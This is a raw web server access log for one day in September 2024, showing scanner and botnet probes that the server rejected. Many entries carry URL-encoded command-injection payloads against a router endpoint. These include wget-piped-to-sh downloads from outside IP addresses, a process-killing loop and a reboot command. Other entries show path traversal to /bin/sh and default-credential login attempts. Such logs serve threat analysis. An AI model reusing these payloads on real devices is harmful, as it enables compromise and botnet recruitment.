185.224.128.59 - - [28/Sep/2024:00:04:34 +0200] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=id%3E%60for+pid+in+%2Fproc%2F%5B0-9%5D%2A%2F%3B+do+pid%3D%24%7Bpid%25%2F%7D%3B+pid%3D%24%7Bpid%23%23%2A%2F%7D%3B+exe_path%3D%24%28ls+-l+%2Fproc%2F%24pid%2Fexe+2%3E%2Fdev%2Fnull+%7C+awk+%27%7Bprint+%24NF%7D%27%29%3B+if+%5B%5B+%24exe_path+%3D%3D+%2A%2F+%5D%5D%3B+then+kill+-9+%24pid%3B+fi%3B+done%3B%60 HTTP/1.1" 404 756 185.224.128.59 - - [28/Sep/2024:00:04:34 +0200] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=id%3E%60wget+http%3A%2F%2F185.157.247.125%2Fe%2Ft+-O-+%7Csh%3B%60 HTTP/1.1" 404 756 70.73.124.136 - - [28/Sep/2024:00:13:08 +0200] "POST /goform/set_LimitClient_cfg HTTP/1.1" 400 771 154.213.184.25 - - [28/Sep/2024:00:22:59 +0200] "CONNECT google.com:443 HTTP/1.1" 400 804 95.214.27.169 - - [28/Sep/2024:00:40:32 +0200] "GET / HTTP/1.1" 200 1895 95.214.27.169 - - [28/Sep/2024:00:40:32 +0200] "CONNECT example.com:443 HTTP/1.1" 400 804 95.214.27.169 - - [28/Sep/2024:00:40:32 +0200] "GET / HTTP/1.1" 200 1895 95.214.27.169 - - [28/Sep/2024:00:40:32 +0200] "CONNECT example.com:443 HTTP/1.1" 400 804 154.213.187.186 - - [28/Sep/2024:00:41:08 +0200] "CONNECT google.com:443 HTTP/1.1" 400 804 154.213.187.5 - - [28/Sep/2024:00:43:05 +0200] "CONNECT google.com:443 HTTP/1.1" 400 804 147.185.132.70 - - [28/Sep/2024:01:02:37 +0200] "-" 400 1930 147.185.132.70 - - [28/Sep/2024:01:02:37 +0200] "-" 400 1930 23.95.200.178 - - [28/Sep/2024:01:19:50 +0200] "GET / HTTP/1.1" 200 1895 85.227.80.205 - - [28/Sep/2024:01:29:41 +0200] "POST /goform/set_LimitClient_cfg HTTP/1.1" 400 771 154.213.184.18 - - [28/Sep/2024:01:41:09 +0200] "CONNECT example.com:443 HTTP/1.1" 400 804 79.137.198.113 - - [28/Sep/2024:01:57:12 +0200] "GET / HTTP/1.1" 200 1895 95.214.27.169 - - [28/Sep/2024:02:03:32 +0200] "GET / HTTP/1.1" 200 1895 95.214.27.169 - - [28/Sep/2024:02:03:32 +0200] "CONNECT example.com:443 HTTP/1.1" 400 804 95.214.27.169 - - [28/Sep/2024:02:03:32 +0200] "GET / HTTP/1.1" 200 1895 95.214.27.169 - - [28/Sep/2024:02:03:32 +0200] "CONNECT example.com:443 HTTP/1.1" 400 804 95.214.55.43 - - [28/Sep/2024:02:54:31 +0200] "GET /cgi-bin/luci/;stok=/locale HTTP/1.1" 404 756 87.120.166.244 - - [28/Sep/2024:03:31:35 +0200] "CONNECT google.com:443 HTTP/1.1" 400 804 61.3.141.41 - - [28/Sep/2024:03:32:26 +0200] "GET /boaform/admin/formLogin?username=adminisp&psd=adminisp HTTP/1.0" 404 749 165.227.93.19 - - [28/Sep/2024:04:16:50 +0200] "-" 400 1930 198.235.24.171 - - [28/Sep/2024:04:24:31 +0200] "GET / HTTP/1.0" 200 1895 154.213.184.25 - - [28/Sep/2024:04:32:45 +0200] "CONNECT google.com:443 HTTP/1.1" 400 804 78.108.177.50 - - [28/Sep/2024:04:33:21 +0200] "GET / HTTP/1.0" 200 1895 40.83.133.237 - - [28/Sep/2024:05:04:56 +0200] "GET /hudson HTTP/1.1" 404 724 185.224.128.83 - - [28/Sep/2024:05:07:49 +0200] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=id%3E%60for+pid+in+%2Fproc%2F%5B0-9%5D%2A%2F%3B+do+pid%3D%24%7Bpid%25%2F%7D%3B+pid%3D%24%7Bpid%23%23%2A%2F%7D%3B+exe_path%3D%24%28ls+-l+%2Fproc%2F%24pid%2Fexe+2%3E%2Fdev%2Fnull+%7C+awk+%27%7Bprint+%24NF%7D%27%29%3B+if+%5B%5B+%24exe_path+%3D%3D+%2A%2F+%5D%5D%3B+then+kill+-9+%24pid%3B+fi%3B+done%3B%60 HTTP/1.1" 404 756 185.224.128.83 - - [28/Sep/2024:05:07:49 +0200] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=id%3E%60wget+http%3A%2F%2F185.157.247.125%2Fe%2Ft+-O-+%7Csh%3B%60 HTTP/1.1" 404 756 154.213.184.18 - - [28/Sep/2024:05:49:33 +0200] "CONNECT example.com:443 HTTP/1.1" 400 804 185.224.128.59 - - [28/Sep/2024:06:11:49 +0200] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=id%3E%60for+pid+in+%2Fproc%2F%5B0-9%5D%2A%2F%3B+do+pid%3D%24%7Bpid%25%2F%7D%3B+pid%3D%24%7Bpid%23%23%2A%2F%7D%3B+exe_path%3D%24%28ls+-l+%2Fproc%2F%24pid%2Fexe+2%3E%2Fdev%2Fnull+%7C+awk+%27%7Bprint+%24NF%7D%27%29%3B+if+%5B%5B+%24exe_path+%3D%3D+%2A%2F+%5D%5D%3B+then+kill+-9+%24pid%3B+fi%3B+done%3B%60 HTTP/1.1" 404 756 185.224.128.59 - - [28/Sep/2024:06:11:49 +0200] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=id%3E%60wget+http%3A%2F%2F185.157.247.125%2Fe%2Ft+-O-+%7Csh%3B%60 HTTP/1.1" 404 756 154.213.184.25 - - [28/Sep/2024:06:54:17 +0200] "CONNECT google.com:443 HTTP/1.1" 400 804 222.138.102.37 - - [28/Sep/2024:07:01:02 +0200] "GET /boaform/admin/formLogin?username=ec8&psd=ec8 HTTP/1.0" 404 749 45.84.89.2 - - [28/Sep/2024:07:29:40 +0200] "GET / HTTP/1.1" 200 1895 154.213.187.186 - - [28/Sep/2024:07:41:36 +0200] "CONNECT google.com:443 HTTP/1.1" 400 804 154.213.184.25 - - [28/Sep/2024:07:46:59 +0200] "CONNECT google.com:443 HTTP/1.1" 400 804 185.224.128.67 - - [28/Sep/2024:07:47:01 +0200] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60busybox+reboot%3B%60) HTTP/1.1" 404 756 87.120.166.244 - - [28/Sep/2024:07:53:09 +0200] "CONNECT google.com:443 HTTP/1.1" 400 804 184.105.247.212 - - [28/Sep/2024:08:04:29 +0200] "GET / HTTP/1.1" 200 1895 184.105.247.196 - - [28/Sep/2024:08:05:13 +0200] "GET /favicon.ico HTTP/1.1" 404 729 184.105.247.228 - - [28/Sep/2024:08:05:42 +0200] "GET /?format=json HTTP/1.1" 200 1895 172.206.141.109 - - [28/Sep/2024:08:06:03 +0200] "GET / HTTP/1.1" 200 1895 184.105.247.224 - - [28/Sep/2024:08:06:08 +0200] "CONNECT www.shadowserver.org:443 HTTP/1.1" 400 804 184.105.247.224 - - [28/Sep/2024:08:06:32 +0200] "GET /geoserver/web/ HTTP/1.1" 404 740 65.49.1.12 - - [28/Sep/2024:08:14:04 +0200] "-" 400 1930 152.42.255.95 - - [28/Sep/2024:08:14:51 +0200] "-" 400 1930 152.42.255.95 - - [28/Sep/2024:08:14:52 +0200] "-" 400 1930 152.42.255.95 - - [28/Sep/2024:08:14:52 +0200] "GET / HTTP/1.1" 200 1895 152.42.255.95 - - [28/Sep/2024:08:14:52 +0200] "GET /download/powershell/ HTTP/1.1" 404 746 95.214.55.43 - - [28/Sep/2024:08:19:04 +0200] "GET /cgi-bin/luci/;stok=/locale HTTP/1.1" 404 756 154.213.187.241 - - [28/Sep/2024:08:26:40 +0200] "CONNECT google.com:443 HTTP/1.1" 400 804 45.148.10.242 - - [28/Sep/2024:08:29:05 +0200] "GET /cgi-bin/luci/;stok=/locale HTTP/1.1" 404 756 154.213.184.15 - - [28/Sep/2024:08:41:46 +0200] "POST /cgi-bin/.%%%%32%%65/.%%%%32%%65/.%%%%32%%65/.%%%%32%%65/.%%%%32%%65/bin/sh HTTP/1.1" 400 816 91.238.181.20 - - [28/Sep/2024:08:49:02 +0200] "-" 400 1930 185.224.128.83 - - [28/Sep/2024:08:55:59 +0200] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=id%3E%60for+pid+in+%2Fproc%2F%5B0-9%5D%2A%2F%3B+do+pid%3D%24%7Bpid%25%2F%7D%3B+pid%3D%24%7Bpid%23%23%2A%2F%7D%3B+exe_path%3D%24%28ls+-l+%2Fproc%2F%24pid%2Fexe+2%3E%2Fdev%2Fnull+%7C+awk+%27%7Bprint+%24NF%7D%27%29%3B+if+%5B%5B+%24exe_path+%3D%3D+%2A%2F+%5D%5D%3B+then+kill+-9+%24pid%3B+fi%3B+done%3B%60 HTTP/1.1" 404 756 185.224.128.83 - - [28/Sep/2024:08:55:59 +0200] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=id%3E%60wget+http%3A%2F%2F185.157.247.125%2Fe%2Ft+-O-+%7Csh%3B%60 HTTP/1.1" 404 756 179.43.133.162 - - [28/Sep/2024:09:01:27 +0200] "CONNECT cloudflare.com:443 HTTP/1.1" 400 804 94.156.67.70 - - [28/Sep/2024:09:21:56 +0200] "CONNECT api6.ipify.org:443 HTTP/1.1" 400 804 95.214.27.169 - - [28/Sep/2024:09:55:36 +0200] "GET / HTTP/1.1" 200 1895 95.214.27.169 - - [28/Sep/2024:09:55:36 +0200] "CONNECT example.com:443 HTTP/1.1" 400 804 95.214.27.169 - - [28/Sep/2024:09:55:36 +0200] "GET / HTTP/1.1" 200 1895 95.214.27.169 - - [28/Sep/2024:09:55:36 +0200] "CONNECT example.com:443 HTTP/1.1" 400 804 154.213.184.18 - - [28/Sep/2024:10:06:39 +0200] "CONNECT example.com:443 HTTP/1.1" 400 804 54.215.241.247 - - [28/Sep/2024:10:08:26 +0200] "GET / HTTP/1.1" 200 1895 54.245.141.106 - - [28/Sep/2024:10:16:04 +0200] "GET / HTTP/1.1" 200 1895 198.235.24.171 - - [28/Sep/2024:10:19:55 +0200] "GET / HTTP/1.1" 200 1895 134.209.28.81 - - [28/Sep/2024:10:22:05 +0200] "-" 400 1930 172.206.142.235 - - [28/Sep/2024:10:45:41 +0200] "GET /hudson HTTP/1.1" 404 724 154.213.187.186 - - [28/Sep/2024:11:02:33 +0200] "CONNECT google.com:443 HTTP/1.1" 400 804 185.224.128.67 - - [28/Sep/2024:11:21:00 +0200] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60busybox+reboot%3B%60) HTTP/1.1" 404 756 165.227.93.19 - - [28/Sep/2024:11:26:42 +0200] "-" 400 1930 154.213.187.52 - - [28/Sep/2024:11:44:11 +0200] "CONNECT google.com:443 HTTP/1.1" 400 804 185.224.128.59 - - [28/Sep/2024:12:02:36 +0200] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=id%3E%60for+pid+in+%2Fproc%2F%5B0-9%5D%2A%2F%3B+do+pid%3D%24%7Bpid%25%2F%7D%3B+pid%3D%24%7Bpid%23%23%2A%2F%7D%3B+exe_path%3D%24%28ls+-l+%2Fproc%2F%24pid%2Fexe+2%3E%2Fdev%2Fnull+%7C+awk+%27%7Bprint+%24NF%7D%27%29%3B+if+%5B%5B+%24exe_path+%3D%3D+%2A%2F+%5D%5D%3B+then+kill+-9+%24pid%3B+fi%3B+done%3B%60 HTTP/1.1" 404 756 185.224.128.59 - - [28/Sep/2024:12:02:36 +0200] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=id%3E%60wget+http%3A%2F%2F185.157.247.125%2Fe%2Ft+-O-+%7Csh%3B%60 HTTP/1.1" 404 756 87.120.166.244 - - [28/Sep/2024:12:19:08 +0200] "CONNECT google.com:443 HTTP/1.1" 400 804 209.97.136.54 - - [28/Sep/2024:12:34:26 +0200] "-" 400 1930 95.214.55.43 - - [28/Sep/2024:12:38:32 +0200] "GET /cgi-bin/luci/;stok=/locale HTTP/1.1" 404 756 139.59.169.168 - - [28/Sep/2024:12:40:48 +0200] "-" 400 1930 185.224.128.83 - - [28/Sep/2024:12:53:18 +0200] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=id%3E%60for+pid+in+%2Fproc%2F%5B0-9%5D%2A%2F%3B+do+pid%3D%24%7Bpid%25%2F%7D%3B+pid%3D%24%7Bpid%23%23%2A%2F%7D%3B+exe_path%3D%24%28ls+-l+%2Fproc%2F%24pid%2Fexe+2%3E%2Fdev%2Fnull+%7C+awk+%27%7Bprint+%24NF%7D%27%29%3B+if+%5B%5B+%24exe_path+%3D%3D+%2A%2F+%5D%5D%3B+then+kill+-9+%24pid%3B+fi%3B+done%3B%60 HTTP/1.1" 404 756 185.224.128.83 - - [28/Sep/2024:12:53:18 +0200] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=id%3E%60wget+http%3A%2F%2F185.157.247.125%2Fe%2Ft+-O-+%7Csh%3B%60 HTTP/1.1" 404 756 154.213.184.25 - - [28/Sep/2024:13:19:21 +0200] "CONNECT google.com:443 HTTP/1.1" 400 804 95.214.27.169 - - [28/Sep/2024:13:23:47 +0200] "GET / HTTP/1.1" 200 1895 95.214.27.169 - - [28/Sep/2024:13:23:47 +0200] "CONNECT example.com:443 HTTP/1.1" 400 804 95.214.27.169 - - [28/Sep/2024:13:23:47 +0200] "GET / HTTP/1.1" 200 1895 95.214.27.169 - - [28/Sep/2024:13:23:47 +0200] "CONNECT example.com:443 HTTP/1.1" 400 804 95.214.27.136 - - [28/Sep/2024:13:24:08 +0200] "-" 400 1930 95.214.27.136 - - [28/Sep/2024:13:24:15 +0200] "GET / HTTP/1.1" 200 1895 154.213.184.18 - - [28/Sep/2024:13:52:57 +0200] "CONNECT example.com:443 HTTP/1.1" 400 804 176.123.1.246 - - [28/Sep/2024:14:22:31 +0200] "GET / HTTP/1.1" 200 1895 112.46.212.3 - - [28/Sep/2024:14:32:29 +0200] "GET / HTTP/1.1" 400 771 141.98.11.79 - - [28/Sep/2024:15:05:35 +0200] "GET / HTTP/1.1" 200 1895 154.213.184.25 - - [28/Sep/2024:15:19:26 +0200] "CONNECT google.com:443 HTTP/1.1" 400 804 185.224.128.67 - - [28/Sep/2024:15:29:31 +0200] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60wget+-O-+http%3A%2F%2F154.216.19.99%2Ft%7Csh%3B%60) HTTP/1.1" 404 756 154.213.187.5 - - [28/Sep/2024:16:01:39 +0200] "CONNECT google.com:443 HTTP/1.1" 400 804 94.156.67.70 - - [28/Sep/2024:16:21:59 +0200] "CONNECT api.ipify.org:443 HTTP/1.1" 400 804 154.213.187.52 - - [28/Sep/2024:16:24:19 +0200] "CONNECT google.com:443 HTTP/1.1" 400 804 87.120.166.244 - - [28/Sep/2024:16:40:52 +0200] "CONNECT google.com:443 HTTP/1.1" 400 804 185.224.128.83 - - [28/Sep/2024:16:58:29 +0200] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=id%3E%60for+pid+in+%2Fproc%2F%5B0-9%5D%2A%2F%3B+do+pid%3D%24%7Bpid%25%2F%7D%3B+pid%3D%24%7Bpid%23%23%2A%2F%7D%3B+exe_path%3D%24%28ls+-l+%2Fproc%2F%24pid%2Fexe+2%3E%2Fdev%2Fnull+%7C+awk+%27%7Bprint+%24NF%7D%27%29%3B+if+%5B%5B+%24exe_path+%3D%3D+%2A%2F+%5D%5D%3B+then+kill+-9+%24pid%3B+fi%3B+done%3B%60 HTTP/1.1" 404 756 185.224.128.83 - - [28/Sep/2024:16:58:29 +0200] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=id%3E%60wget+http%3A%2F%2F185.157.247.125%2Fe%2Ft+-O-+%7Csh%3B%60 HTTP/1.1" 404 756 154.213.184.25 - - [28/Sep/2024:17:01:00 +0200] "CONNECT google.com:443 HTTP/1.1" 400 804 95.214.55.43 - - [28/Sep/2024:17:26:57 +0200] "GET /cgi-bin/luci/;stok=/locale HTTP/1.1" 404 756 141.98.11.79 - - [28/Sep/2024:17:36:25 +0200] "GET / HTTP/1.1" 200 1895 185.224.128.59 - - [28/Sep/2024:17:43:39 +0200] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=id%3E%60for+pid+in+%2Fproc%2F%5B0-9%5D%2A%2F%3B+do+pid%3D%24%7Bpid%25%2F%7D%3B+pid%3D%24%7Bpid%23%23%2A%2F%7D%3B+exe_path%3D%24%28ls+-l+%2Fproc%2F%24pid%2Fexe+2%3E%2Fdev%2Fnull+%7C+awk+%27%7Bprint+%24NF%7D%27%29%3B+if+%5B%5B+%24exe_path+%3D%3D+%2A%2F+%5D%5D%3B+then+kill+-9+%24pid%3B+fi%3B+done%3B%60 HTTP/1.1" 404 756 185.224.128.59 - - [28/Sep/2024:17:43:39 +0200] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=id%3E%60wget+http%3A%2F%2F185.157.247.125%2Fe%2Ft+-O-+%7Csh%3B%60 HTTP/1.1" 404 756 123.58.207.151 - - [28/Sep/2024:17:47:06 +0200] "-" 400 1930 123.58.207.151 - - [28/Sep/2024:17:47:16 +0200] "GET / HTTP/1.1" 200 1895 123.58.207.151 - - [28/Sep/2024:17:47:34 +0200] "GET /favicon.ico HTTP/1.1" 404 729 123.58.207.151 - - [28/Sep/2024:17:47:34 +0200] "GET /robots.txt HTTP/1.1" 404 728 123.58.207.151 - - [28/Sep/2024:17:47:34 +0200] "GET /sitemap.xml HTTP/1.1" 404 729 123.58.207.151 - - [28/Sep/2024:17:47:34 +0200] "GET /config.json HTTP/1.1" 404 729 154.213.184.18 - - [28/Sep/2024:17:56:42 +0200] "CONNECT example.com:443 HTTP/1.1" 400 804 45.148.10.242 - - [28/Sep/2024:18:12:35 +0200] "GET /cgi-bin/luci/;stok=/locale HTTP/1.1" 404 756 154.213.184.25 - - [28/Sep/2024:18:32:41 +0200] "CONNECT google.com:443 HTTP/1.1" 400 804 154.213.187.241 - - [28/Sep/2024:18:33:15 +0200] "CONNECT google.com:443 HTTP/1.1" 400 804 95.214.27.169 - - [28/Sep/2024:18:54:55 +0200] "GET / HTTP/1.1" 200 1895 95.214.27.169 - - [28/Sep/2024:18:54:55 +0200] "CONNECT example.com:443 HTTP/1.1" 400 804 95.214.27.169 - - [28/Sep/2024:18:54:55 +0200] "GET / HTTP/1.1" 200 1895 95.214.27.169 - - [28/Sep/2024:18:54:55 +0200] "CONNECT example.com:443 HTTP/1.1" 400 804 185.224.128.67 - - [28/Sep/2024:19:14:08 +0200] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60wget+-O-+http%3A%2F%2F154.216.19.99%2Ft%7Csh%3B%60) HTTP/1.1" 404 756 141.98.11.79 - - [28/Sep/2024:19:44:01 +0200] "GET / HTTP/1.1" 200 1895 128.14.173.100 - - [28/Sep/2024:20:09:36 +0200] "GET / HTTP/1.1" 200 1895 154.213.187.52 - - [28/Sep/2024:20:13:30 +0200] "CONNECT google.com:443 HTTP/1.1" 400 804 154.213.184.15 - - [28/Sep/2024:20:45:17 +0200] "POST /cgi-bin/.%%%%32%%65/.%%%%32%%65/.%%%%32%%65/.%%%%32%%65/.%%%%32%%65/bin/sh HTTP/1.1" 400 816 95.214.27.169 - - [28/Sep/2024:20:49:58 +0200] "GET / HTTP/1.1" 200 1895 95.214.27.169 - - [28/Sep/2024:20:49:58 +0200] "CONNECT example.com:443 HTTP/1.1" 400 804 95.214.27.169 - - [28/Sep/2024:20:49:58 +0200] "GET / HTTP/1.1" 200 1895 95.214.27.169 - - [28/Sep/2024:20:49:58 +0200] "CONNECT example.com:443 HTTP/1.1" 400 804 45.95.147.164 - - [28/Sep/2024:20:57:18 +0200] "CONNECT 45.61.136.175:7227 HTTP/1.1" 400 804 87.120.166.244 - - [28/Sep/2024:20:58:03 +0200] "CONNECT google.com:443 HTTP/1.1" 400 804 98.80.4.97 - - [28/Sep/2024:21:14:22 +0200] "GET / HTTP/1.1" 200 1895 198.235.24.102 - - [28/Sep/2024:21:16:44 +0200] "GET / HTTP/1.0" 200 1895 154.213.184.25 - - [28/Sep/2024:21:17:15 +0200] "CONNECT google.com:443 HTTP/1.1" 400 804 205.210.31.55 - - [28/Sep/2024:21:21:11 +0200] "GET / HTTP/1.1" 200 1895 185.224.128.83 - - [28/Sep/2024:21:29:11 +0200] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=id%3E%60for+pid+in+%2Fproc%2F%5B0-9%5D%2A%2F%3B+do+pid%3D%24%7Bpid%25%2F%7D%3B+pid%3D%24%7Bpid%23%23%2A%2F%7D%3B+exe_path%3D%24%28ls+-l+%2Fproc%2F%24pid%2Fexe+2%3E%2Fdev%2Fnull+%7C+awk+%27%7Bprint+%24NF%7D%27%29%3B+if+%5B%5B+%24exe_path+%3D%3D+%2A%2F+%5D%5D%3B+then+kill+-9+%24pid%3B+fi%3B+done%3B%60 HTTP/1.1" 404 756 185.224.128.83 - - [28/Sep/2024:21:29:11 +0200] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=id%3E%60wget+http%3A%2F%2F185.157.247.125%2Fe%2Ft+-O-+%7Csh%3B%60 HTTP/1.1" 404 756 154.213.187.5 - - [28/Sep/2024:21:53:10 +0200] "CONNECT google.com:443 HTTP/1.1" 400 804 154.213.184.18 - - [28/Sep/2024:21:53:58 +0200] "CONNECT example.com:443 HTTP/1.1" 400 804 165.227.93.19 - - [28/Sep/2024:21:55:39 +0200] "-" 400 1930 141.98.11.79 - - [28/Sep/2024:21:59:58 +0200] "GET / HTTP/1.1" 200 1895 95.214.55.43 - - [28/Sep/2024:22:05:09 +0200] "GET /cgi-bin/luci/;stok=/locale HTTP/1.1" 404 756 179.43.133.162 - - [28/Sep/2024:22:12:26 +0200] "CONNECT cloudflare.com:443 HTTP/1.1" 400 804 154.213.184.25 - - [28/Sep/2024:22:43:41 +0200] "CONNECT google.com:443 HTTP/1.1" 400 804 78.108.177.54 - - [28/Sep/2024:23:26:42 +0200] "GET / HTTP/1.0" 200 1895 154.213.187.5 - - [28/Sep/2024:23:38:00 +0200] "CONNECT google.com:443 HTTP/1.1" 400 804 185.224.128.59 - - [28/Sep/2024:23:49:35 +0200] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=id%3E%60for+pid+in+%2Fproc%2F%5B0-9%5D%2A%2F%3B+do+pid%3D%24%7Bpid%25%2F%7D%3B+pid%3D%24%7Bpid%23%23%2A%2F%7D%3B+exe_path%3D%24%28ls+-l+%2Fproc%2F%24pid%2Fexe+2%3E%2Fdev%2Fnull+%7C+awk+%27%7Bprint+%24NF%7D%27%29%3B+if+%5B%5B+%24exe_path+%3D%3D+%2A%2F+%5D%5D%3B+then+kill+-9+%24pid%3B+fi%3B+done%3B%60 HTTP/1.1" 404 756 185.224.128.59 - - [28/Sep/2024:23:49:35 +0200] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=id%3E%60wget+http%3A%2F%2F185.157.247.125%2Fe%2Ft+-O-+%7Csh%3B%60 HTTP/1.1" 404 756